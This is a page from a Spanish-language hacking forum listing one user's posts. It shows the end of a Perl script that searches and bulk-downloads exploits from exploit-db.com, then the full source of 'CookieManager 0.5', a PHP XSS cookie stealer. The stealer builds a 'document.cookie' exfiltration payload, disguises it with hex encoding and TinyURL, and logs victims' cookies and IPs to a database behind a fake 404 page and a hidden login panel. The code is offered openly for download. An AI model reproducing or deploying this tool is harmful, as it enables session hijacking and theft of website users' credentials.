  171.    if ( $file ne "" ) {
  172.  
  173.        if (
  174.            $nave->mirror(
  175.                "http://www.exploit-db.com/download/" . $id . "/", $file
  176.            )
  177.          )
  178.        {
  179.            printear( "\n[+] File '" . $file . "' Downloaded !\n" );
  180.            chmod 0777, $file;
  181.        }
  182.        else {
  183.            printear("\n[-] WTF !\n");
  184.        }
  185.  
  186.    }
  187.    else {
  188.        my $code = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
  189.        if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
  190.            my $titulo       = $2;
  191.            my $exploit_name = $titulo;
  192.            $titulo =~ s/\.//;
  193.            $titulo =~ s/\=//;
  194.            $titulo = $titulo . ".txt";
  195.            sleep(6);
  196.            if (
  197.                $nave->mirror(
  198.                    "http://www.exploit-db.com/download/" . $id . "/", $titulo
  199.                )
  200.              )
  201.            {
  202.                printear( "\n[+] File '" . $exploit_name . "' Downloaded !\n" );
  203.                chmod 0777, $titulo;
  204.            }
  205.            else {
  206.                printear("\n[-] WTF !\n");
  207.            }
  208.        }
  209.    }
  210.  
  211. }
  212.  
  213. sub by_read_exploit {
  214.  
  215.    printear_titulo("\n[+] Searching  ...\n\n");
  216.  
  217.    my $id     = $_[0];
  218.    my $code   = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
  219.    my $source = toma( "http://www.exploit-db.com/download/" . $id . "/" );
  220.  
  221.    if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
  222.        my $titulo = $2;
  223.  
  224.        printear("[+] Title : ");
  225.        print $titulo. "\n";
  226.    }
  227.    else {
  228.        printear("[-] WTF !\n");
  229.    }
  230.  
  231.    if ( $code =~ /Author: (.*?)</ ) {
  232.        my $autor = $1;
  233.  
  234.        printear("[+] Author : ");
  235.        print $autor. "\n";
  236.    }
  237.    if ( $code =~ /Published: (.*?)</ ) {
  238.        my $fecha = $1;
  239.        printear("[+] Published : ");
  240.        print $fecha. "\n";
  241.    }
  242.  
  243.    if ( $code =~ /Vulnerable App: &nbsp;&nbsp; <a href="(.*?)">/ ) {
  244.        my $app = $1;
  245.        printear("[+] Vulnerable App : ");
  246.        print $app. "\n";
  247.    }
  248.  
  249.    print "\n-------------------------------------\n";
  250.    printear($source);
  251.    print "-------------------------------------\n";
  252.  
  253. }
  254.  
  255. sub by_search {
  256.  
  257.    my $query = $_[0];
  258.    my $page  = $_[1];
  259.  
  260.    printear_titulo("\n[+] Searching  ...\n\n");
  261.  
  262.    my $code =
  263.      toma( "http://www.exploit-db.com/search/?action=search&filter_page="
  264.          . $page
  265.          . "&filter_description="
  266.          . $query
  267.          . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  268.      );
  269.  
  270.    my @dates   = "";
  271.    my @nombres = "";
  272.    my @tipos   = "";
  273.    my @autores = "";
  274.    my @links   = "";
  275.  
  276.    while ( $code =~ /<td class="list_explot_date">(.*?)<\/td>/migs ) {
  277.        my $date = $1;
  278.        push( @dates, $date );
  279.    }
  280.  
  281.    while ( $code =~
  282.        /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
  283.      )
  284.    {
  285.        my $id   = $1;
  286.        my $name = $2;
  287.        $name =~ s/&lt;//;
  288.        my $link = "http://www.exploit-db.com/exploits/" . $id;
  289.        push( @nombres, $name );
  290.        push( @links,   $link );
  291.    }
  292.  
  293.    while ( $code =~
  294.        /<a href="http:\/\/www.exploit-db.com\/platform\/(.*?)">(.*?)<\/a>/migs
  295.      )
  296.    {
  297.        my $type = $2;
  298.        push( @tipos, $type );
  299.    }
  300.  
  301.    while ( $code =~
  302. /<a href="http:\/\/www.exploit-db.com\/author\/(.*?)" title="(.*?)">/migs
  303.      )
  304.    {
  305.        my $autor = $2;
  306.        push( @autores, $autor );
  307.    }
  308.  
  309.    printear("[+] Exploits Found : ");
  310.    print int(@links) - 1 . "\n";
  311.  
  312.    for my $num ( 1 .. int(@links) - 1 ) {
  313.        printear("\n[+] Title : ");
  314.        print $nombres[$num] . "\n";
  315.        printear("[+] Date : ");
  316.        print $dates[$num] . "\n";
  317.        printear("[+] Type : ");
  318.        print $tipos[$num] . "\n";
  319.        printear("[+] Author : ");
  320.        print $autores[$num] . "\n";
  321.        printear("[+] Link : ");
  322.        print $links[$num] . "\n";
  323.    }
  324.  
  325. }
  326.  
  327. sub printear {
  328.    cprint( "\x036" . $_[0] . "\x030" );
  329. }
  330.  
  331. sub printear_logo {
  332.    cprint( "\x037" . $_[0] . "\x030" );
  333. }
  334.  
  335. sub printear_titulo {
  336.    cprint( "\x0310" . $_[0] . "\x030" );
  337. }
  338.  
  339. sub sintax {
  340.    printear("\n[+] Sintax : ");
  341.    print "perl $0 <option> <value>\n";
  342.    printear("\n[+] Options : \n\n");
  343.    print "-search <query> -page <count> : Search exploits in page\n";
  344.    print "-read_exploit <id exploit> : Read exploit\n";
  345.    print "-download <id exploit> : Download an exploit\n";
  346.    print "-download_all <query> -page <count> : Download all exploits\n";
  347.    printear("\n[+] Example : ");
  348.    print "perl exploitdb.pl -search smf -page 1\n";
  349.    copyright();
  350. }
  351.  
  352. sub head {
  353.    printear_logo("\n-- == Exploit DB Manager 0.6 == --\n\n");
  354. }
  355.  
  356. sub copyright {
  357.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  358.    exit(1);
  359. }
  360.  
  361. sub toma {
  362.    return $nave->get( $_[0] )->content;
  363. }
  364.  
  365. #The End ?
  366.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
78  Foros Generales / Foro Libre / Re: El hacking y la soledad (?) en: 11 Febrero 2015, 22:56 pm
@bytefloat : na , eso es algo que se dice pero no siempre es cierto , conozco a varias personas en la vida real que les gusta esto y son gente normal como cualquier otro , lo de estar todo el dia solo en la computadora es decision tuya.
79  Programación / PHP / Re: [PHP] CookieManager 0.5 en: 11 Febrero 2015, 22:25 pm
ok , gracias por las sugerencias.

PD:  la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.
80  Programación / PHP / [PHP] CookieManager 0.5 en: 6 Febrero 2015, 17:46 pm
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Un video con ejemplos de uso :



El codigo :

Código
  1. <?php
  2.  
  3. // CookieManager 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host  = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db    = "cookies";
  19.  
  20. //
  21.  
  22.  
  23. // Functions
  24.  
  25. function hex_encode($text)
  26. {
  27.    $texto = chunk_split(bin2hex($text), 2, '%');
  28.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  29. }
  30.  
  31. function parsear_cookie($leyendo)
  32. {
  33.  
  34.    $leyendo   = str_replace("comment=", "", $leyendo);
  35.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  36.    $contenido = explode(";", $leyendo);
  37.  
  38.    $nombre       = "";
  39.    $valor_cookie = "";
  40.    $expires      = "";
  41.    $path         = "";
  42.    $domain       = "";
  43.    $secure       = "false";
  44.    $httponly     = "false";
  45.  
  46.    foreach ($contenido as $valor) {
  47.  
  48.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  49.            $expires = $regex[1];
  50.        }
  51.  
  52.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  53.            $path = $regex[1];
  54.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  55.            $domain = $regex[1];
  56.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  57.            $secure = $regex[1];
  58.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  59.            $httponly = $regex[1];
  60.        }
  61.  
  62.        else {
  63.  
  64.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  65.                $nombre       = $regex[1];
  66.                $valor_cookie = $regex[2];
  67.            }
  68.  
  69.        }
  70.  
  71.    }
  72.  
  73.    return array(
  74.        $nombre,
  75.        $valor_cookie,
  76.        $expires,
  77.        $path,
  78.        $domain,
  79.        $secure,
  80.        $httponly
  81.    );
  82.  
  83. }
  84.  
  85. function ver_cookies_de_pagina($pagina)
  86. {
  87.    $cookies = "";
  88.    if (!function_exists('curl_exec')) {
  89.        $options = array(
  90.            'http' => array(
  91.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  92.            )
  93.        );
  94.        $context = stream_context_create($options);
  95.        file_get_contents($pagina);
  96.        foreach ($http_response_header as $valores) {
  97.            if (preg_match("/Set-Cookie/", $valores)) {
  98.                $valores = str_replace("Set-Cookie:", "", $valores);
  99.                $cookies = $cookies . $valores . "<br>";
  100.            }
  101.        }
  102.    } else {
  103.        $nave = curl_init($pagina);
  104.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  105.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  106.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  107.        curl_setopt($nave, CURLOPT_HEADER, 1);
  108.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  109.        $contenido = curl_exec($nave);
  110.        curl_close($nave);
  111.        $leyendo = explode("\n", trim($contenido));
  112.  
  113.        foreach ($leyendo as $valores) {
  114.            if (preg_match("/Set-Cookie/", $valores)) {
  115.                $valores = str_replace("Set-Cookie:", "", $valores);
  116.                $cookies = $cookies . $valores . "<br>";
  117.            }
  118.        }
  119.    }
  120.    return $cookies;
  121. }
  122.  
  123. function toma($target)
  124. {
  125.    $code = "";
  126.    if (function_exists('curl_exec')) {
  127.        $nave = curl_init($target);
  128.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  129.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  130.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  131.        $code = curl_exec($nave);
  132.    } else {
  133.        $options = array(
  134.            'http' => array(
  135.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  136.            )
  137.        );
  138.        $context = stream_context_create($options);
  139.        $code    = file_get_contents($target);
  140.    }
  141.    return $code;
  142. }
  143.  
  144. //
  145.  
  146.  
  147. mysql_connect($host, $userw, $passw);
  148.  
  149. if (isset($_GET['id'])) {
  150.  
  151.    if (empty($_GET['id'])) {
  152.        error();
  153.    }
  154.  
  155.    $dia = mysql_real_escape_string(date("d.m.Y"));
  156.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  157.  
  158.    if ($ip == "::1") {
  159.        $ip = "127.0.0.1";
  160.    }
  161.  
  162.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  163.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  164.  
  165.    $cookie = mysql_real_escape_string($_GET['id']);
  166.  
  167.    mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  168.  
  169.    header("Location:http://www.google.com.ar");
  170.  
  171. }
  172.  
  173. elseif (isset($_COOKIE['portal'])) {
  174.  
  175.    $st = base64_decode($_COOKIE['portal']);
  176.  
  177.    $plit = explode("@", $st);
  178.    $user = $plit[0];
  179.    $pass = $plit[1];
  180.  
  181.    if ($user == $username and $pass == $password) {
  182.  
  183.        if (isset($_POST['makecookies'])) {
  184.            //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
  185.  
  186.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  187.                echo "<script>alert('Cookies Maked');</script>";
  188.            } else {
  189.                echo "<script>alert('Error making Cookie');</script>";
  190.            }
  191.        }
  192.  
  193.        echo "<title>CookieManager 0.3</title>";
  194.  
  195.        echo "<STYLE type=text/css>
  196.  
  197. body,a:link {
  198. background-color: #000000;
  199. color:orange;
  200. Courier New;
  201. cursor:crosshair;
  202. font-size: small;
  203. }
  204.  
  205. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  206. font: normal 10px Verdana, Arial, Helvetica,
  207. sans-serif;
  208. background-color:black;
  209. color:orange;
  210. border: solid 1px orange;
  211. border-color:orange
  212. }
  213.  
  214. a:link,a:visited,a:active {
  215. color: orange;
  216. font: normal 10px Verdana, Arial, Helvetica,
  217. sans-serif;
  218. text-decoration: none;
  219. }
  220.  
  221. </style>
  222. ";
  223.  
  224.        $edit_name       = "";
  225.        $edit_value      = "";
  226.        $edit_expire     = "";
  227.        $edit_path       = "";
  228.        $edit_domain     = "";
  229.        $edit_secure     = "";
  230.        $edit_httponline = "";
  231.  
  232.        if (isset($_POST['instalar'])) {
  233.  
  234.            $todo = "create table todo (
  235. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  236. fecha TEXT NOT NULL,
  237. ip TEXT NOT NULL,
  238. info TEXT NOT NULL,
  239. cookie TEXT NOT NULL,
  240. PRIMARY KEY (id));
  241. ";
  242.  
  243.            if (mysql_query($todo)) {
  244.                echo "<script>alert('Installed');</script>";
  245.            } else {
  246.                echo "<script>alert('Error');</script>";
  247.            }
  248.        }
  249.  
  250.        if (mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  251.  
  252.            //
  253.  
  254.            if (isset($_GET['del'])) {
  255.                if (is_numeric($_GET['del'])) {
  256.                    if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) {
  257.                        echo "<script>alert('Deleted');</script>";
  258.                    } else {
  259.                        echo "<script>alert('Error');</script>";
  260.                    }
  261.                }
  262.            }
  263.  
  264.            echo "<center>";
  265.            echo "<br><h1>CookieManager</h1><br>";
  266.  
  267.  
  268.            // Cookies Found
  269.  
  270.  
  271.            $re  = mysql_query("select * from todo order by id ASC");
  272.            $con = mysql_num_rows($re);
  273.  
  274.            if ($con == 0) {
  275.                echo "<script>alert('Cookies not found');</script>";
  276.            } else {
  277.  
  278.                echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
  279.                echo "<table border=1 width=1100>";
  280.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  281.  
  282.                while ($ver = mysql_fetch_array($re)) {
  283.                    $cookies_view = $ver[4];
  284.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  285.  
  286.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  287.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Del</a></td><tr>";
  288.  
  289.                }
  290.  
  291.                echo "</table>";
  292.  
  293.            }
  294.  
  295.            //
  296.  
  297.            // Form para target
  298.  
  299.            echo "
  300. <form action='' method=POST>
  301. <center><br><table border=1>
  302. <td><center><h2>Enter Target</h2></center></td><tr>
  303. <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  304. <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  305. </table></center>
  306. </form>
  307.  
  308. ";
  309.  
  310.            // URLS
  311.  
  312.            if (isset($_POST['generateurl'])) {
  313.                echo "<br><table border=1>
  314. <td><center><h2>URL Generated</h2></center></td><tr>
  315. <td><textarea cols=50 name=code readonly>\n";
  316.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  317.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  318.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  319.                echo htmlentities($resultado_code);
  320.                echo "\n</textarea></td></table>";
  321.            }
  322.            //
  323.  
  324.            // Get Cookies
  325.  
  326.            if (isset($_POST['getcookies'])) {
  327.                echo "<br><table border=1>
  328. <td><center><h2>Console</h2></center></td><tr>
  329. <td><textarea cols=50 rows=10 name=code readonly>\n";
  330.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  331.                echo htmlentities($resultado_code);
  332.                echo "\n</textarea></td></table>";
  333.  
  334.                $leyendo_esto = split("\n", $resultado_code);
  335.  
  336.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  337.  
  338.                $edit_name       = $nombre;
  339.                $edit_value      = $valor_cookie;
  340.                $edit_expire     = $expires;
  341.                $edit_path       = $path;
  342.                $edit_domain     = $domain;
  343.                $edit_secure     = $secure;
  344.                $edit_httponline = $httponly;
  345.  
  346.            }
  347.  
  348.            //
  349.  
  350.            // Form para crear cookies
  351.  
  352.            echo "
  353. <form action='' method=POST>
  354. <center><br><table border=1>
  355. <td><center><h2>Cookies Maker</h2></center></td><tr>
  356. <td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr>
  357. <td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr>
  358. <td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr>
  359. <td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr>
  360. <td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr>
  361. <td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr>
  362. <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr>
  363. <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
  364. </table></center>
  365. </form>";
  366.  
  367.            //
  368.  
  369.            //
  370.  
  371.            echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
  372.  
  373.            //
  374.  
  375.        } else {
  376.            echo "
  377. <center><br><br>
  378. <form action='' method=POST>
  379. <h2>Deseas instalar CookieManager ?</h2><br><br>
  380. <input type=submit name=instalar value=Instalar>
  381. </form>";
  382.        }
  383.        exit(1);
  384.    }
  385. } elseif (isset($_POST['login'])) {
  386.    if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  387.        setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
  388.        echo "<script>alert('Welcome idiot');</script>";
  389.        echo '<meta http-equiv="refresh" content=0;URL=>';
  390.    } else {
  391.        echo "<script>alert('Continued to participate');</script>";
  392.    }
  393. } elseif (isset($_GET['poraca'])) {
  394.  
  395.    echo "
  396.  
  397. <STYLE type='text/css'>
  398.  
  399. body,input {
  400. background-color: #000000;
  401. color:orange;
  402. font-family:
  403. Courier New;
  404. cursor:crosshair;
  405. font-size: small;
  406. }
  407. </style>
  408.  
  409. <h1><br><center><font color=green>Login</font></center></h1>
  410. <br><br><center>
  411. <form action='' method=POST>
  412. Username : <input type=text name=user><br>
  413. Password : <input type=password name=password><br><br>
  414. <input type=submit name=login value=Enter><br>
  415. </form>
  416. </center><br><br>";
  417. } else {
  418.  
  419.    error();
  420.  
  421. }
  422.  
  423. function error()
  424. {
  425.    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  426. <html><head>
  427. <title>404 Not Found</title>
  428. </head><body>
  429. <h1>Not Found</h1>
  430. <p>The requested URL was not found on this server.</p>
  431. </body></html>';
  432.    exit(1);
  433. }
  434.  
  435.  
  436.  
  437. // The End ?
  438.  
  439.  
  440. ?>
  441.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines